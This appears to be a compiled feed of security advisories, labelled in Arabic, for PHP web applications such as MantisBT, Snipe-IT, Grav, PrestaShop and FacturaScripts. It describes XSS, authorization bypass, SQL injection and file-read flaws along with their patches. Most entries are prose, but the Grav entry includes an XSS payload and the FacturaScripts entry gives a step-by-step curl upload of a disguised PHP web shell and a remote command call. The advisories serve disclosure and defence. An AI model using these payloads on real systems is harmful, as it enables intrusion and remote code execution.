الوصف الكامل
Using *show_inline=1* parameter and a valid *file_show_inline_token* CSRF token on file_download.php, an attacker can execute code by uploading a crafted XHTML attachment referencing a JavaScript attachment. ### Impact Cross-site scripting ### Patches - 26647b2e68ba30b9d7987d4e03d7a16416684bc2 ### Workarounds None ### Credits Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
المراجع
https://github.com/mantisbt/mantisbt/security/advisories/GHSA-p6fr-rxq7-xcg8
https://github.com/mantisbt/mantisbt/commit/26647b2e68ba30b9d7987d4e03d7a16416684bc2
https://github.com/mantisbt/mantisbt
https://mantisbt.org/bugs/view.php?id=37020
الوصف الكامل
Unescaped Project Name allows an attacker that can set it (which typically requires manager or administrator access level) to inject HTML in Move Attachments admin page. ### Impact Cross-site scripting (XSS). This is mitigated by Content Security Policy which restricts scripts execution. ### Patches - 5cb4b469295889f5d2b01677c9bf82c143e0fdaa ### Workarounds None
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
الوصف الكامل
A missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to download attachments on private bugnotes they should not be able to access, via the REST API endpoint GET /api/rest/issues/{id}/files and SOAP API mc_issue_attachment_get endpoint. ### Impact - REPORTER (access level 25) can view file attachments that were uploaded to private bugnotes by DEVELOPER/MANAGER/ADMIN users - Private bugnotes are intended for internal developer discussion; their attachments (logs, screenshots, patches) should be equally protected - The web UI is NOT affected — it filters through bugnote_get_all_visible_bugnotes() first ### Patches - 029d9d203d9e4ae96b3e59d552fa7395cc1e5071 ### Workarounds None ### Credits Thanks to the following security researchers for independently discovering and responsibly reporting the issue. - Vishal Shukla - Tristan Madani (@TristanInSec) from Talence Security - Tang Cheuk Hei (@siunam321) This advisory's contents was largely copied from Tristan's well-written report.
الإصدارات المتأثرة
2.23.0, 2.23.1, 2.24.0, 2.24.1, 2.24.2
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
المراجع
https://github.com/mantisbt/mantisbt/commit/029d9d203d9e4ae96b3e59d552fa7395cc1e5071
https://github.com/advisories/GHSA-xjmx-cprh-646r
https://github.com/mantisbt/mantisbt
https://mantisbt.org/bugs/view.php?id=27039
https://mantisbt.org/bugs/view.php?id=36985
https://mantisbt.org/bugs/view.php?id=37092
الوصف الكامل
The mc_issue_update() function in MantisBT allows users having *update_bug_threshold* access (UPDATER, with default settings) to edit, change view state, and modify time tracking on bugnotes belonging to other users — bypassing the default DEVELOPER (level 55) threshold required by the dedicated mc_issue_note_update() function. ### Impact 1. UPDATER can edit notes by DEVELOPER/MANAGER/ADMIN — bypassing the DEVELOPER threshold 2. UPDATER can change private notes to public — exposing confidential internal discussion 3. UPDATER can change public notes to private — hiding information from reporters/viewers ### Patches - 6e58fae4f22efdc3987f903c8ba2611de17a9435 ### Workarounds None ### Credits Thanks to the following security researchers for independently discovering and responsibly reporting the issue. - Vishal Shukla - Tristan Madani (@TristanInSec) from Talence Security This advisory's contents was largely copied from Tristan's well-written report.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
الوصف الكامل
Lack of validation of filter_target parameter on return_dynamic_filters.php (normally used as an AJAX in View Issues Page) allows an attacker to inject arbitrary HTML if the target is a TEXTAREA custom field. ### Impact Cross-site scripting (XSS) ### Patches - c885af13f0b8596714ffe11df757c09f35fbd8f4 ### Workarounds None ### Credits Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
Incorrect escaping of a saved filter's owner allows an attacker to inject arbitrary HTML on systems where $g_show_user_realname = ON. ### Impact Cross-site scripting (XSS). Note that By default, only users with *Manager* access level or above can save their filters publicly ### Patches - 44f490bcf20fd491c1b8f3fc9dd041d8c2a30010 ### Workarounds - Prevent display of users' real name (set `$g_ show_user_realname = OFF;` in configuration) - Restrict ability to store filters (set $`g_stored_query_create_threshold` / $`g_stored_query_create_shared_threshold` to `NOBODY` ### Credits Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
الوصف الكامل
Improper escaping of the redirection page (retrieved from the request's *Referer* header) allows an attacker to inject HTML. While this is generally not directly actionable as modern browsers will URL-encode special characters, on some specific server configurations this could poison the cache, leading to cross-site scripting. ### Impact Cross-site scripting (XSS). ### Patches - b1ebc57763f104eb5f541b7b4d1ce6948168abd9 ### Workarounds None ### Credits Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
Given any pre-existing XSS / HTML injection vulnerability, an attacker can bypass the Content Security Policy's _script-src_ directive by uploading a crafted attachment to any issue that, when accessed via the _file_download.php_ link, will be downloaded with a valid JavaScript MIME type resulting in script execution. The uploaded payload must be sniffed as a valid JavaScript MIME type by PHP finfo (see file_create_finfo() API function). Non-JavaScript MIME types will not get imported in a `<script>` tag by the browser, due to response header X-Content-Type-Options being set to _nosniff_, which requires all imported JavaScript files to be a valid JavaScript MIME type. ### Impact Cross-site scripting ### Patches - 9e3bee2e7b909f4e3596985892b8bc8bee9e0bfe ### Workarounds None ### Credits Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
الوصف الكامل
Any authenticated user can inject arbitrary HTML via updating their account's font family. ### Impact Cross-site scripting. The injected payload will be reflected in every MantisBT page. Leveraging another vulnerability (CSP bypass, see [GHSA-9c3j-xm6v-j7j3](https://github.com/mantisbt/mantisbt/security/advisories/GHSA-9c3j-xm6v-j7j3)), the attacker could achieve account takeover. ### Patches - 9e8409cdd979eba86ef532756fc47c1d8112d22d ### Workarounds None ### Credits Thanks to siunam (Tang Cheuk Hei) for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.12.2
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:L
المراجع
https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j3v9-553h-x28j
https://github.com/mantisbt/mantisbt/commit/9e8409cdd979eba86ef532756fc47c1d8112d22d
https://github.com/mantisbt/mantisbt
https://mantisbt.org/bugs/view.php?id=37011
https://mantisbt.org/bugs/view.php?id=37016
الوصف الكامل
Improper escaping of a textarea custom field's contents in the Update Issue page (bug_update_page.php) allows an attacker to inject HTML and, if CSP settings permit, execute arbitrary JavaScript when the page is loaded. ### Impact Session theft leading to admin account takeover, full project data access. - Precondition: A textarea-type custom field must be configured for the project - Attacker: Authenticated user with bug report permission (low privilege) - Victim: Any user viewing the bug edit form, including administrators ### Patches - 5fec0f448b7a7d7d539a6adb6dccceac4e4e4ab7 ### Workarounds The default Content-Security Policy will block script execution. ### References - https://mantisbt.org/bugs/view.php?id=37003 - This is related to [CVE-2024-34081](https://github.com/advisories/GHSA-wgx7-jp56-65mq). ### Credits Thanks to the following security researchers for independently discovering and responsibly reporting the issue, and providing a patch to fix it. - Thanks to Nozomu Sasaki (Paul) (@morimori-dev) - Tristan Madani (@TristanInSec) from Talence Security
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
The core view rendering method `View::renderPhpFile()` calls `extract($_params_, EXTR_OVERWRITE)` before the `require` statement that includes the view file. A caller-controlled parameter named `_file_` in the `$params` array overwrites the internal local variable that specifies which file is included — enabling a Local File Inclusion primitive. ### Impact - Local File Inclusion (arbitrary file read via non-PHP files) - Potential RCE if attacker can write PHP files via a separate primitive - Information disclosure ### Patches 2.0.55 ### Workarounds No.
الإصدارات المتأثرة
2.0.0, 2.0.0-alpha, 2.0.0-beta, 2.0.0-rc, 2.0.1
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
MantisBT allows a bugnote author to access the note's Revisions page after losing access to the parent private issue. ### Impact Disclosure of the private Issue's Id and Summary. The bugnote full revision body remains secure. ### Patches - 71df1f67e05b2050cd4bd87839e6cc13747cf03f ### Workarounds None ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
### Impact MantisBT allows an authenticated user to upload attachments to private Issues they are not authorized to access. ### Patches - b262b4d2835b81394d75356dead66e52a6275206 ### Workarounds None. ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
الوصف الكامل
MantisBT permits a user to list and download their own attachments from an Issue created by another user, even after that Issue becomes private and direct access to it is denied. ### Impact The loss of confidentiality caused by this vulnerability is minimal, considering that only the attachments that were previously uploaded by the user themselves remains accessible. ### Patches - de7bdeec36de066235e38a77bf056917d951c84d ### Workarounds None. ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
Using a crafted POST request to bug_monitor_add.php, a user with project-level access can add themselves as a monitor for a private issue they do not have access to. Despite displaying an Access Denied error, the application accepts the request and creates a monitor relationship for the private issue. ### Impact Direct access to the private issue remains blocked, but the user will receive email notifications for updates, leading to disclosure of the private issue's metadata and content. ### Patches - 0a93267deba445fb9d15250c16e6fdb1246ffa65 ### Workarounds None ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issue.
الإصدارات المتأثرة
2.26.1, 2.26.2, 2.26.3, 2.26.4, 2.27.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
When cloning an issue originating from a Project other than the current one, the clone form (bug_report_page.php) prepends the source Project name before the category selector without proper escaping, allowing an attacker able to to inject HTML if they can set the Project's name (which typically requires *manager* or *administrator* access level). ### Impact Cross-site scripting (XSS). This is mitigated by Content Security Policy which restricts scripts execution. ### Patches - df22697ae497ddd93f3d9132fdf4979db8d081cd ### Workarounds Make sure Project names do not contain any HTML tags. ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issue. The vulnerability was also identified and independently reported by @siunam321 (Tang Cheuk Hei), prior to this Advisory's publication.
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
الوصف الكامل
Insufficient access control checks in _ProjectUsersAddCommand_ (used in *manage_proj_user_add.php* and REST API endpoint `PUT /project/{id}/users`) allows users having *manage_project_threshold* access level (*manager* by default) to grant project-level *administrator* access to any user (including themselves) in any Project they have *manager* rights in. The normal project-user add form does restrict the selectable access levels to the actor's own project role or below. However, the backend handler still accepts a forged higher access_level value and writes it. ### Impact Privilege escalation. The consequences of the privilege escalation are not as bad as it may sound, because having *administrator* access at Project level is effectively not very different from being *manager*, it does not actually give administrator privileges on the whole MantisBT instance. In particular, it does not let the upgraded user delete the Project or grant them any access to global administrative functions such as managing Users, Projects, Plugins, Custom Fields, etc. ### Patches - 69e0180f180ed5acf48a8d281a73683a7bf32461 ### Workarounds None ### Credits Thanks to the following security researchers for independently discovering and responsibly reporting the issue: - [Dracosec Research Limited](https://dracosec.tech/) (Siu Nam Tang, Chris Chan, Krecendo Hui, William Lam) - Vishal Shukla
الإصدارات المتأثرة
2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
MantisBT allows a low-privileged authenticated user having *add_profile_threshold* to create a global profile despite not having *manage_global_profile_threshold*, by tampering with the user_id parameter in a valid profile creation request. ### Impact Authentication bypass ### Patches - 3f952e68fa864e0e60abc3e84adecf3cfa84c75e ### Workarounds None ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issues.
الإصدارات المتأثرة
2.28.0, 2.28.1
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
المراجع
https://github.com/mantisbt/mantisbt/commit/3f952e68fa864e0e60abc3e84adecf3cfa84c75e
https://github.com/mantisbt/mantisbt
https://github.com/mantisbt/mantisbt/releases/tag/release-2.28.2
https://mantisbt.org/bugs/view.php?id=36974
الوصف الكامل
### Summary Hi, there. We've found PHP Serialize Injections in your project “torrentpier". According to the OWASP, it can pose a significant risk: enable an attacker to modify serialized objects in order to inject malicious data into the application code, resulting in code execution or an arbitrary reading of the file on any vulnerable system. ### Details In the attachment you can find a report with the number of vulnerabilities, their types and the vulnerable files. To view the lines of vulnerable code you may scan your project with the "[PHP Secure](https://phpsecure.net/?utm_source=github&utm_term=torrentpier&utm_content=torrentpier)" vulnerability scanner with a full access to it. ### PoC <img width="663" alt="Screenshot 2023-09-25 at 11 12 32 AM" src="https://user-images.githubusercontent.com/118765013/270273991-4a2c3884-3ab0-48ad-af77-3f3dbfa64e2a.png"> <img width="661" alt="Screenshot 2023-09-25 at 11 12 43 AM" src="https://user-images.githubusercontent.com/118765013/270274006-247ed9d3-2dc0-4a87-8f1f-89079c8be165.png"> <img width="664" alt="Screenshot 2023-09-25 at 11 12 53 AM" src="https://user-images.githubusercontent.com/118765013/270274018-b99d6ec2-4c5a-439f-b089-9e11345e963d.png"> <img width="662" alt="Screenshot 2023-09-25 at 11 13 13 AM" src="https://user-images.githubusercontent.com/118765013/270274023-36ecffc7-215d-41db-b3ba-6aa677e644d3.png"> ### About Us We are a team of developers of the PHP Secure vulnerability scanner. First, we checked your code automatically. Then we reviewed the vulnerable code more deeply manually and felt it was necessary to report about it to you. We suggest you scanning your code and address vulnerabilities as soon as possible to prevent a potential breach. If you have any questions, email us at support@phpsecure.net"
الإصدارات المتأثرة
2.3.0.4-beta, 2.3.0.4-beta2, v2.2.0, v2.2.1, v2.2.2
الوصف الكامل
## Summary An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (`elFinderVolumeMySQL`) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted `target` file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service. This vulnerability only affects installations configured to use the `MySQL` volume driver. Installations using the default `LocalFileSystem` driver are not affected. ## Description A vulnerability in elFinder's MySQL volume driver (`elFinderVolumeMySQL`) allows authenticated SQL injection through a crafted file hash passed via the `target` parameter. The issue is caused by two behaviors working together: 1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier. 2. The decoded value is then used in MySQL driver queries, including `cacheDir()`, `_joinPath()`, `_stat()`, and `_fopen()`. Because the MySQL storage schema uses numeric `id` and `parent_id` values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account. This vulnerability only affects installations configured to use the `MySQL` volume driver. Installations using the default `LocalFileSystem` driver are not affected. ## Impact An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to: - disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata - trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption The severity of data exposure depends on the privileges granted to the configured MySQL account.
الإصدارات المتأثرة
2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
Open redirect vulnerability in Snipe-IT allows attackers to redirect users to malicious sites via unvalidated HTTP Referer header stored in session variable. ### Impact - **Phishing**: Redirect users to fake login pages to steal credentials - **Session Hijacking**: Redirect to attacker site that captures session cookies via JavaScript - **Malware Distribution**: Redirect to sites hosting malware or drive-by downloads - **Reputation Damage**: Users lose trust when redirected to malicious sites from legitimate application - **Social Engineering**: Use trusted Snipe-IT domain to increase phishing success rate When the user clicks "Save", the application: 1. Processes the form 2. Checks `redirect_option` (if set to 'back') 3. Calls `Helper::getRedirectOption()` 4. Retrieves `back_url` from session: `https://evil.com/phishing?target=snipeit` 5. Executes `redirect()->to($backUrl)` 6. User is redirected to attacker's site This would still require session poisoning, so the actual practical threat here is minimal. ### Patches Patched in https://github.com/grokability/snipe-it/commit/e37649212861a337e68a624e589c3540b7a82373, released in 8.4.1. ### Workarounds None. ### Resources - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') - OWASP: Unvalidated Redirects and Forwards - Laravel Security: Safe Redirects [snipeit_open_redirect_submission.md](https://github.com/user-attachments/files/27414869/snipeit_open_redirect_submission.md)
الإصدارات المتأثرة
3.2.0, v0.1.0, v0.1.1, v0.1.2, v0.2.0
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
الوصف الكامل
### Impact An authenticated user with only `users.edit` permission can escalate their own privileges to `admin` by sending a PATCH request to `/api/v1/users/{id}` with `permissions[admin]=1`. The API controller only strips the `superuser` key from the permissions array, allowing `admin` and all other permission keys to be set by any user who can update users. ### Patches Patched in https://github.com/grokability/snipe-it/commit/ce18ff669ceb0f0349749fd5d11c1d3d40b10569, fix was released in v8.4.1 ### Workarounds None.
الإصدارات المتأثرة
3.2.0, v0.1.0, v0.1.1, v0.1.2, v0.2.0
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
الوصف الكامل
### Impact Users with component view access could be impacted by an unescaped `notes` column. ### Patches This was patched in https://github.com/grokability/snipe-it/commit/28f493d84d057895fbb93b6570e7393a2c2fa438, and is fixed in v8.4.1 or greater. ### Workarounds None.
الإصدارات المتأثرة
3.2.0, v0.1.0, v0.1.1, v0.1.2, v0.2.0
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
### Summary _A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][title] parameter._ --- ### Details Vulnerable Endpoint: GET /admin/pages/[page] Parameter: data[header][title] The application fails to properly validate and sanitize user input in the data[header][title] parameter. As a result, attackers can craft a malicious URL with an XSS payload. When this URL is accessed, the injected script is reflected back in the HTTP response and executed within the context of the victim's browser session. --- ### PoC **Payload:** `<img src=1 onerror=alert(1)>` 1. Log in to the Grav Admin Panel and navigate to Pages. 2. Create a new page or edit an existing one. 3. Edit title of the page to `<img src=1 onerror=alert(1)>` <img width="1897" height="700" alt="image" src="https://github.com/user-attachments/assets/77a129ca-5c2b-4743-8c56-c17fa456eefa" /> 4. Save page 5. Open the move function and click on the folder having the payload <img width="1904" height="984" alt="image" src="https://github.com/user-attachments/assets/44f8f88f-76c4-449f-8c4e-11e8e2c51d8f" /> <img width="1902" height="995" alt="image" src="https://github.com/user-attachments/assets/1dc2ef15-e534-4e87-93ea-92bc573af7f1" /> --- ### Impact Stored cross-site scripting (XSS) attacks can have serious consequences, including: - User actions: Attackers can perform actions on behalf of the user - Data theft: Sensitive information such as session cookies can be stolen - Account compromise: Attackers may impersonate legitimate users - Malicious code execution: Arbitrary JavaScript code can run in the user’s browser - Website defacement or misinformation: Malicious output may be injected visually - User redirection: Victims may be redirected to phishing or malicious websites By [Vu Duc Hieu](https://github.com/vdh1612) Contributor [Simon Tran](https://github.com/simontranduy)
الإصدارات المتأثرة
All versions < 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11
نوع الثغرة
CWE-79 — XSS
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H
الوصف الكامل
### Impact This is a **stored Cross-site Scripting (XSS)** vulnerability in the PrestaShop back-office Customer Service view. An unauthenticated attacker can submit the public Contact Us form with a malicious email address. The payload is stored in the database and executed when a back-office employee opens the affected customer thread, enabling session hijacking and full back-office takeover. ### Patches Patched in PrestaShop 8.2.6 and 9.1.1. ### Workarounds None. ### Resources - Reported by Savio at Doyensec (`anthropic@doyensec.com`) in collaboration with Anthropic Research.
الإصدارات المتأثرة
1.7.0.0, 1.7.0.0-beta.1.0, 1.7.0.0-beta.2.0, 1.7.0.0-beta.3.0, 1.7.0.0-beta.4.0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
الوصف الكامل
## Summary Users with the role `System-Admin` (`ROLE_SYSTE_ADMIN`) and the permission `upload_invoice_template` can upload PDF invoice templates, which can call `pdfContext.setOption('associated_files', ...)` inside the sandboxed Twig render. This is forwarded to mPDF's `SetAssociatedFiles()`, whose writer calls `file_get_contents($entry['path'])` during PDF output and embeds the bytes as a FlateDecode stream in the PDF. Any file readable by the PHP worker is returned to the attacker inside the rendered invoice. ## Root cause 1. `src/Twig/SecurityPolicy/StrictPolicy.php:123-128` explicitly whitelists `PdfContext::setOption()`: ```php if ($obj instanceof PdfContext) { if ($lcm !== 'setoption') { throw ...; } return; } ``` 2. `src/Pdf/MPdfConverter.php` keeps `associated_files` in the pass-through allowlist: ```php $allowed = ['mode','format','default_font_size','default_font', ... , 'associated_files','additional_xmp_rdf']; ``` and then forwards it to mPDF: ```php if (array_key_exists('associated_files', $options) && is_array($options['associated_files'])) { $associatedFiles = $options['associated_files']; unset($options['associated_files']); } ... $mpdf->SetAssociatedFiles($associatedFiles); ``` 3. mPDF 8.3.1 `MetadataWriter::writeAssociatedFiles()` calls `file_get_contents`, which respects PHP stream wrappers: ```php if (isset($file['path'])) { $fileContent = @file_get_contents($file['path']); } ... $filestream = gzcompress($fileContent); $this->writer->write('<</Type /EmbeddedFile'); ``` The sandbox and the option allowlist were both written defensively (short whitelists, not blacklists), but neither side considered that `associated_files` is a PDF/A file-embedding feature whose `path` key is a sink. ## Fix The implemented fix has two aspects: 1. The `PdfContext` now works with a strict allow-list, that excludes `associated_files` 2. The `MPdfConverter` now removes any `path` from the `$associatedFiles` array, which can still be used by plugins: ```php if (\count($associatedFiles) > 0) { // remove "path" so mPDF will not use file_get_contents() on local files // callers must pre-read and pass the bytes via "content" $associatedFiles = array_map(static function ($entry): array { if (!\is_array($entry)) { return []; } if (\array_key_exists('path', $entry)) { unset($entry['path']); } return $entry; }, $associatedFiles); $mpdf->SetAssociatedFiles($associatedFiles); } ```
الإصدارات المتأثرة
2.32.0 - 2.56.0
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
الوصف الكامل
## Summary In version 5.3.0 of the Symfony bundle, `Webauthn\Bundle\Policy\ClientOverridePolicy` defaulted to allowing all client overrides, including `userVerification`. A client could send `{"userVerification": "discouraged"}` in the assertion or attestation options request to override a server-configured `userVerification: required`, causing the emitted WebAuthn options to instruct the authenticator to skip user verification. The `CheckUserVerification` ceremony step then read the same downgraded options and skipped its check. ## Affected versions - **Vulnerable**: 5.3.0 - **Patched**: 5.3.1 5.3.0 was released on 2026-05-01 and 5.3.1 was published roughly 18 hours later, on 2026-05-02. Practical exposure window was minimal. ## Note on earlier 5.x versions Versions 5.0.0 to 5.2.x did not ship `ClientOverridePolicy` (introduced in 5.3.0), so the exact code path described above does not apply. However, on those versions the `ProfileBasedRequestOptionsBuilder` and `ProfileBasedCreationOptionsBuilder` already passed the client-supplied `userVerification` value directly to the options factory, where the profile value is only applied via `??=`. The functional outcome (a client can downgrade `userVerification`) is the same. The recommended mitigation (see below) applies regardless of the version, and users on 5.0.x – 5.2.x are encouraged to upgrade to 5.3.1 or later. ## Severity This is a **defense-in-depth** issue rather than a primitive that grants authentication on its own: - The attacker must already possess the victim's authenticator (a stolen security key, an unlocked device). Without that, the downgrade is inconsequential. - The framework exposes the actual UV outcome on the returned authenticator data (`AuthenticatorData::isUserVerified()`). Applications that gate sensitive operations on this flag — as documented — remain protected even on the vulnerable version. ## Mitigation Applications gating sensitive operations on user verification MUST re-check the `UV` flag on the returned authenticator data after a successful ceremony, regardless of what was requested in the options: ```php if (! $authenticatorData->isUserVerified()) { throw new AccessDeniedHttpException('User verification is required.'); } ``` This is the authoritative signal that user verification actually occurred. The hardened default in 5.3.1 closes the implicit profile-bypass; the application-level check remains the recommended defense in depth and is now documented explicitly in the [User Verification](https://webauthn-doc.spomky-labs.com/webauthn-in-a-nutshell/user-verification#checking-the-uv-flag) guide. ## Fix `ClientOverridePolicy::canOverride()` now defaults to `false` instead of `true`. The Symfony bundle DI configuration ships `user_verification` overrides as **disabled by default**, with a default `allowed_values` list that excludes `discouraged` even when an operator opts in. ## Credit Reported by @offset.
الإصدارات المتأثرة
5.3.0
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
الوصف الكامل
# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass ## Summary An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. --- ## Details The vulnerability exists in: `Core/Lib/ExtendedController/ProductImagesTrait.php` Specifically in the `addImageAction()` method. ### Vulnerable Code ```php if (false === strpos($uploadFile->getMimeType(), 'image/')) { Tools::log()->error('file-not-supported'); continue; } $folder = Tools::folder('MyFiles'); Tools::folderCheckOrCreate($folder); $uploadFile->move($folder, $uploadFile->getClientOriginalName()); ``` ### Root Cause - The validation only checks if MIME type contains `"image/"` - This can be bypassed by prepending **GIF89a magic bytes** to a PHP file - The system incorrectly identifies the file as `image/gif` - The file is saved with a `.php` extension in a web-accessible directory ### File Storage Behavior Uploaded files are stored in: ``` /MyFiles/YYYY/MM/X.php ``` Where `X` is an auto-incrementing ID. This allows direct remote execution: ``` http://target/MyFiles/2026/03/2.php?cmd=id ``` --- ## Impact Successful exploitation: An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation. --- ## Proof of Concept (Manual) ### Step 1: Create malicious file ```bash cat > shell.jpg.php << 'EOF' GIF89a <?php system($_GET['cmd']); ?> EOF ``` ### Step 2: Authenticate - Login to the application - Extract `PHPSESSID` from browser cookies ### Step 3: Get CSRF token ```bash curl -s "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4 ``` ### Step 4: Upload shell ```bash curl -X POST "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ -F "multireqtoken=YOUR_CSRF_TOKEN" \ -F "action=add-image" \ -F "activetab=EditProductoImagen" \ -F "idproducto=3" \ -F "newfiles[]=@shell.jpg.php" ``` ### Step 5: Execute command ```bash curl "http://target/MyFiles/2026/03/2.php?cmd=id" ``` --- ## Affected Products | Field | Value | |---|---| | Ecosystem | Packagist | | CVE ID | CVE-2026-42879 | | Package Name | `facturascripts/facturascripts` | | Affected Versions | <= 2025.81 | | Patched Versions | Not yet patched | | Fixed in | Pending | --- ## Remediation Recommendations 1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type 2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension 3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution 4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME ## Credits - **Discoverer**: Abdullah Alwasabei / Guzrex
الإصدارات المتأثرة
2018.03, 2018.04, 2018.05, 2018.11, v2018.12
CVSS Vector
